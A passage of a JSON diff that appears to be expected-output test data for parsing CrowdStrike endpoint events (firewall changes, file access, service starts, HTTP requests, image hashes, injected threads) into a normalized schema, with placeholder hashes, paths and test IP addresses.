{ + "args": [ + "6725e7" + ], + "args_count": 1, + "command_line": "6725e7", + "entity_id": "1000790287600", + "executable": "6725e7", + "name": "6725e7" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "900805208", + "ContextProcessId": "3001999016003", + "ContextTimeStamp": "2025-08-10T18:33:45.482Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "45", + "FirewallOption": "78415d0f02a966", + "FirewallOptionNumericValue": "1", + "FirewallProfile": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "ee4fea12623693e1e2aaf450974ca9068925", + "name": "bd2f52430b3a6e28fa81dc" + }, + "device": { + "id": "ee24e7d1ac6add25f7a7969844ad0df3" + }, + "event": { + "action": "FirewallChangeOption", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "ee4fea12623693e1e2aaf450974ca9068925|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FirewallChangeOption\",\"ContextTimeStamp\":\"1754850825.482\",\"ConfigStateHash\":\"900805208\",\"FirewallProfile\":\"1\",\"ContextProcessId\":\"3001999016003\",\"aip\":\"89.160.20.128\",\"FirewallOption\":\"78415d0f02a966\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"36\",\"name\":\"bd2f52430b3a6e28fa81dc\",\"EventOrigin\":\"45\",\"id\":\"ee4fea12623693e1e2aaf450974ca9068925\",\"FirewallOptionNumericValue\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ee24e7d1ac6add25f7a7969844ad0df3", + "os": { + "type": "windows" + } + }, + "message": "FirewallChangeOption", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3001999016003" + }, + "related": { + "hash": [ + "900805208" + ], + "ip": [ + "89.160.20.128" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "900805208", + "ContextProcessId": "2001999016003", + "ContextTimeStamp": "2025-05-19T05:55:38.862Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "45", + "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "4ee907bd437184018039dbce46b3b7fb9586", + "name": "73c6cc568a65a7c085e0" + }, + "device": { + "id": "ee24e7d1ac6add25f7a7969844ad0df3" + }, + "event": { + "action": "FirewallDeleteRule", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "4ee907bd437184018039dbce46b3b7fb9586|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FirewallDeleteRule\",\"ContextTimeStamp\":\"1747634138.862\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"2001999016003\",\"aip\":\"89.160.20.112\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"73c6cc568a65a7c085e0\",\"EventOrigin\":\"45\",\"id\":\"4ee907bd437184018039dbce46b3b7fb9586\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ee24e7d1ac6add25f7a7969844ad0df3", + "os": { + "type": "windows" + } + }, + "message": "FirewallDeleteRule", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2001999016003" + }, + "related": { + "hash": [ + "900805208" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "900805208", + "ContextProcessId": "1001999016003", + "ContextTimeStamp": "2025-07-03T15:07:18.829Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "45", + "FirewallRule": "fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|", + "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b03302898ff47ac683fe0c4e7679c48615d2", + "name": "e6fc8b7f15db47d1f" + }, + "device": { + "id": "ee24e7d1ac6add25f7a7969844ad0df3" + }, + "event": { + "action": "FirewallSetRule", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "b03302898ff47ac683fe0c4e7679c48615d2|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FirewallSetRule\",\"ContextTimeStamp\":\"1751555238.829\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"1001999016003\",\"aip\":\"81.2.69.144\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"26\",\"name\":\"e6fc8b7f15db47d1f\",\"EventOrigin\":\"45\",\"id\":\"b03302898ff47ac683fe0c4e7679c48615d2\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"FirewallRule\":\"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\8027a4f5\\\\97cf27ba\\\\bc713e9c\\\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ee24e7d1ac6add25f7a7969844ad0df3", + "os": { + "type": "windows" + } + }, + "message": "FirewallSetRule", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "1001999016003" + }, + "related": { + "hash": [ + "900805208" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8080600092", + "ContextProcessId": "7127089080000", + "ContextTimeStamp": "2025-06-13T12:46:39.590Z", + "DesiredAccess": "3900073", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "FileAttributes": "0", + "FileEcpBitmask": "0", + "FileObject": "0", + "FltCallbackData": "20591370484490000796", + "FltCompletionContext": "53130800032000003010", + "FltRelatedObjects": "32460687653001750097", + "HandleCreateAuthenticationId": "830", + "Information": "1", + "IrpFlags": "2500", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "94007005", + "ShareAccess": "5", + "SourceEventUniqueId": "903600070008873043", + "Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49", + "name": "c7a00dc61cb10ab411c95598" + }, + "device": { + "id": "d3a1c99f621d3d6474555746950ce9b6" + }, + "event": { + "action": "FsPostOpenSnapshotFile", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49|d3a1c99f621d3d6474555746950ce9b6|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"Options\":\"94007005\",\"ContextThreadId\":\"50000395917240\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"Information\":\"1\",\"FileIdentifier\":\"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306\",\"FltRelatedObjects\":\"32460687653001750097\",\"event_platform\":\"Win\",\"ShareAccess\":\"5\",\"EventOrigin\":\"1\",\"FltCompletionContext\":\"53130800032000003010\",\"id\":\"92f7671f25cc7e1d6c1c2c3958b4a65c9c49\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"FsPostOpenSnapshotFile\",\"ContextTimeStamp\":\"1749818799.590\",\"ConfigStateHash\":\"8080600092\",\"ContextProcessId\":\"7127089080000\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"830\",\"FltCallbackData\":\"20591370484490000796\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"3900073\",\"SourceEventUniqueId\":\"903600070008873043\",\"Entitlements\":\"96\",\"name\":\"c7a00dc61cb10ab411c95598\",\"OperationFlags\":\"0\",\"aid\":\"d3a1c99f621d3d6474555746950ce9b6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\\\\d598026\\\\dc9ec376\\\\b79606\\\\be8\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606", + "inode": "8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306", + "name": "be8", + "path": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8", + "type": "file" + }, + "host": { + "id": "d3a1c99f621d3d6474555746950ce9b6", + "os": { + "type": "windows" + } + }, + "message": "FsPostOpenSnapshotFile", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "d3a1c99f621d3d6474555746950ce9b6", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "7127089080000", + "thread": { + "id": 50000395917240 + } + }, + "related": { + "hash": [ + "8080600092" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "903030080", + "ConfigStateHash": "3440491101", + "ContextTimeStamp": "2025-07-25T04:01:01.221Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "45", + "InterfaceGuid": "d1c8f153a6a851a17b18fe88f1dbdc9254bf", + "InterfaceVersion": "0", + "RpcClientProcessId": "9757071607353", + "RpcClientThreadId": "415000840610900", + "RpcNestingLevel": "1", + "RpcOpNum": "60", + "TargetThreadId": "482081070860200", + "TokenType": "2", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d", + "name": "10e85fd7df0a53c38814f5" + }, + "device": { + "id": "22924ad875ce834067bd29857dc11a92" + }, + "event": { + "action": "HostedServiceStarted", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d|22924ad875ce834067bd29857dc11a92|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"d1c8f153a6a851a17b18fe88f1dbdc9254bf\",\"RpcClientProcessId\":\"9757071607353\",\"id\":\"c7017a5199f1e88eb4a44227da2d1a7c8b0d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"HostedServiceStarted\",\"TargetThreadId\":\"482081070860200\",\"ContextTimeStamp\":\"1753416061.221\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"3440491101\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"415000840610900\",\"AuthenticationId\":\"903030080\",\"ServiceDisplayName\":\"8a7cb45\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"6009006000008\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\8a7cb45.dll\",\"RpcOpNum\":\"60\",\"Entitlements\":\"76\",\"name\":\"10e85fd7df0a53c38814f5\",\"aid\":\"22924ad875ce834067bd29857dc11a92\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "22924ad875ce834067bd29857dc11a92", + "os": { + "type": "windows" + } + }, + "message": "HostedServiceStarted", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "22924ad875ce834067bd29857dc11a92", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "6009006000008", + "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll", + "name": "8a7cb45.dll", + "title": "8a7cb45" + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "f3c32fdf5aef1041" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "f3c32fdf5aef1041" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "3440491101", + "ContextTimeStamp": "2025-09-18T01:35:57.606Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "TargetThreadId": "51930000290120", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "db2dfa574e4ca1c775249f4fae390c93c57f", + "name": "c503d72ad653c0dc87f730" + }, + "device": { + "id": "0400bce96c16b71f27978572adb3d4fd" + }, + "event": { + "action": "HostedServiceStopped", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "db2dfa574e4ca1c775249f4fae390c93c57f|0400bce96c16b71f27978572adb3d4fd|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"HostedServiceStopped\",\"TargetThreadId\":\"51930000290120\",\"ContextTimeStamp\":\"1758159357.606\",\"ConfigStateHash\":\"3440491101\",\"aip\":\"89.160.20.112\",\"ServiceDisplayName\":\"61b6fb\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"2762512126120\",\"Entitlements\":\"66\",\"name\":\"c503d72ad653c0dc87f730\",\"EventOrigin\":\"1\",\"id\":\"db2dfa574e4ca1c775249f4fae390c93c57f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"0400bce96c16b71f27978572adb3d4fd\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "0400bce96c16b71f27978572adb3d4fd", + "os": { + "type": "windows" + } + }, + "message": "HostedServiceStopped", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "0400bce96c16b71f27978572adb3d4fd", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2762512126120", + "title": "61b6fb" + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "9382309105", + "ContextProcessId": "4064545006008", + "ContextTimeStamp": "2025-08-02T09:35:00.344Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "36", + "EventOrigin": "1", + "HttpInternalSource": "2", + "HttpMethod": "1", + "HttpRequestHeader": "94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b", + "HttpUrl": "08cf20/7773b6bd.com/394e821c.html", + "ParentCommandLine": "82\\ab7e5c1\\c39d646f.EXE", + "PatternId": "28450", + "TemplateInstanceId": "5008", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "5c80fd2a838414022b2f083219c6395b3c6a", + "name": "8d879a136063d7587c6" + }, + "device": { + "id": "561ee5011fb41796a5d3d22ecc19d681" + }, + "event": { + "action": "HttpRequestDetect", + "category": [ + "network", + "session" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "5c80fd2a838414022b2f083219c6395b3c6a|561ee5011fb41796a5d3d22ecc19d681|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"TemplateInstanceId\":\"5008\",\"aip\":\"89.160.20.112\",\"HttpRequestHeader\":\"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b\",\"event_platform\":\"Win\",\"PatternId\":\"28450\",\"EventOrigin\":\"1\",\"id\":\"5c80fd2a838414022b2f083219c6395b3c6a\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\c39d646f.EXE\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"HttpInternalSource\":\"2\",\"event_simpleName\":\"HttpRequestDetect\",\"ContextTimeStamp\":\"1754127300.344\",\"UserName\":\"30d376\",\"ConfigStateHash\":\"9382309105\",\"ContextProcessId\":\"4064545006008\",\"HttpUrl\":\"08cf20/7773b6bd.com/394e821c.html\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\9134161b\\\\033b4ae8\\\\44cb\\\\440b7488\\\\0dc8e72.EXE\\\" /n \\\"C:\\\\6b0cc\\\\30d376\\\\c4deb08f\\\\23555a08\\\\4c840c73.docx\\\" /o \\\"\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\033b4ae8\\\\4813\\\\440b7488\\\\0dc8e72.EXE\",\"Entitlements\":\"36\",\"name\":\"8d879a136063d7587c6\",\"aid\":\"561ee5011fb41796a5d3d22ecc19d681\",\"HttpMethod\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "connection", + "start" + ] + }, + "host": { + "id": "561ee5011fb41796a5d3d22ecc19d681", + "os": { + "type": "windows" + } + }, + "message": "HttpRequestDetect", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "561ee5011fb41796a5d3d22ecc19d681", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE /n C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx /o \"" + ], + "args_count": 1, + "command_line": "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"", + "entity_id": "4064545006008", + "executable": "\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE", + "name": "0dc8e72.EXE" + }, + "related": { + "hash": [ + "9382309105" + ], + "ip": [ + "89.160.20.112" + ], + "user": [ + "30d376" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "30d376" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", + "ConfigStateHash": "5900030004", + "ContextProcessId": "10705000160", + "ContextTimeStamp": "2025-07-10T03:25:43.580Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "ImageFileName": "\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe", + "MappedFromUserMode": "1", + "ModuleCharacteristics": "86", + "ModuleSize": "40360682", + "OriginalEventTimeStamp": "1749976122.404", + "PrimaryModule": "1", + "SignInfoFlags": "1754009", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f5638ae317f9e090033436354c7cf5d36549", + "name": "dccbe56e7b3" + }, + "device": { + "id": "64cded9cf5ef1c609147019ee3184217" + }, + "dll": { + "Ext": { + "size": 40360682 + }, + "hash": { + "md5": "896a7b972e546354ae731504897bb216", + "sha1": "9692067083780606753097782045800757094700", + "sha256": "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9" + }, + "name": "dad56584.exe" + }, + "event": { + "action": "ImageHash", + "category": [ + "library" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f5638ae317f9e090033436354c7cf5d36549|64cded9cf5ef1c609147019ee3184217|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ModuleCharacteristics\":\"86\",\"ContextThreadId\":\"137030102310\",\"aip\":\"81.2.69.144\",\"OriginalEventTimeStamp\":\"1749976122.404\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"EventOrigin\":\"1\",\"id\":\"f5638ae317f9e090033436354c7cf5d36549\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40360682\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ImageHash\",\"ContextTimeStamp\":\"1752117943.580\",\"ConfigStateHash\":\"5900030004\",\"ContextProcessId\":\"10705000160\",\"MD5HashData\":\"896a7b972e546354ae731504897bb216\",\"SHA256HashData\":\"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9\",\"ConfigBuild\":\"2c8b.4.1403a74.4f\",\"TargetProcessId\":\"10705000160\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\42955da6\\\\10b3abfd\\\\27b5ee41\\\\dad56584.exe\",\"Entitlements\":\"16\",\"name\":\"dccbe56e7b3\",\"PrimaryModule\":\"1\",\"aid\":\"64cded9cf5ef1c609147019ee3184217\",\"SignInfoFlags\":\"1754009\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "64cded9cf5ef1c609147019ee3184217", + "os": { + "type": "windows" + } + }, + "message": "ImageHash", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "64cded9cf5ef1c609147019ee3184217", + "version": "2c8b.4.1403a74.4f" + }, + "process": { + "entity_id": "10705000160", + "thread": { + "id": 137030102310 + } + }, + "related": { + "hash": [ + "896a7b972e546354ae731504897bb216", + "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9", + "9692067083780606753097782045800757094700", + "5900030004" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "240271348", + "ContextProcessId": "3006607000981", + "ContextTimeStamp": "2025-06-10T02:00:56.920Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "1", + "InjectedThreadFlag": "430", + "RawThreadId": "5008", + "SourceThreadStartAddress": "984100382000810", + "TargetThreadId": "505479000700240", + "TargetThreadModule": "\\63dc8ea2\\1c329924.dll", + "ThreadStartAddress": "947500501770690", + "ThreadStartContext": "5177300087920", + "UserThread": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "5677e0f1c2f59a879c8c966e3f2583d1b374", + "name": "367b7572c21bead4" + }, + "device": { + "id": "8fb3daf730de8e73c353f0c4137a51b5" + }, + "event": { + "action": "InjectedThread", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "5677e0f1c2f59a879c8c966e3f2583d1b374|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"430\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"TargetThreadModule\":\"\\\\63dc8ea2\\\\1c329924.dll\",\"EventOrigin\":\"1\",\"id\":\"5677e0f1c2f59a879c8c966e3f2583d1b374\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"InjectedThread\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ContextTimeStamp\":\"1749520856.920\",\"ConfigStateHash\":\"240271348\",\"ContextProcessId\":\"3006607000981\",\"ThreadStartContext\":\"5177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"36\",\"name\":\"367b7572c21bead4\",\"RawThreadId\":\"5008\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"SourceThreadStartAddress\":\"984100382000810\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "8fb3daf730de8e73c353f0c4137a51b5", + "os": { + "type": "windows" + } + }, + "message": "InjectedThread", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "8fb3daf730de8e73c353f0c4137a51b5", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3000303437040", + "pid": 7310, + "thread": { + "id": 140004900194068 + } + }, + "related": { + "hash": [ + "240271348" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "90089570", + "ContextBaseFileName": "d3571e48e3804d61a8d8f51", + "ContextProcessId": "3097482600003", + "ContextTimeStamp": "2025-11-02T13:33:51.810Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileCategory": "1", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-96058-21257-98492", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "SHA256HashData": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "162ec74e6e37e7616a81feca0a38cbc4e060", + "name": "45bc1cac0e68ad976" + }, + "device": { + "id": "e8709208d980534971098b9a6fb8cf05" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "162ec74e6e37e7616a81feca0a38cbc4e060|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": 